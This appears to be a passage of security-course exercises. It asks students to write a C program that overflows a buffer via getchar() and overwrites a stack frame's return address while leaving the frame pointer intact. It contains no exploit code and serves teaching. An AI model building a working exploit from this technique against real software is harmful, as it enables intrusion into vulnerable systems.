
• Modify the server program as necessary and explain your

modifications in detail.

8. Programming Assignment:

Using the program buffover4.c as an example, Section 21.8

shows how you can design a program input string for
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overwriting the return address in the stackframe of the function

that possesses buffer overflow vulnerability. The input string we

designed in that section succeeded in steering at run time the

flow of execution into the function bar(). However, eventually,

we ended up in a program crash caused by a segfault. This

programming assignment consists of you writing your own C

program that, instead of using strcpy(), uses getchar() to

write into a buffer that has insufficient memory allocated to it.

Now show how you can directly overwrite the return address in

a stackframe without also overwriting the locations pointed to

by the frame pointer and other registers.
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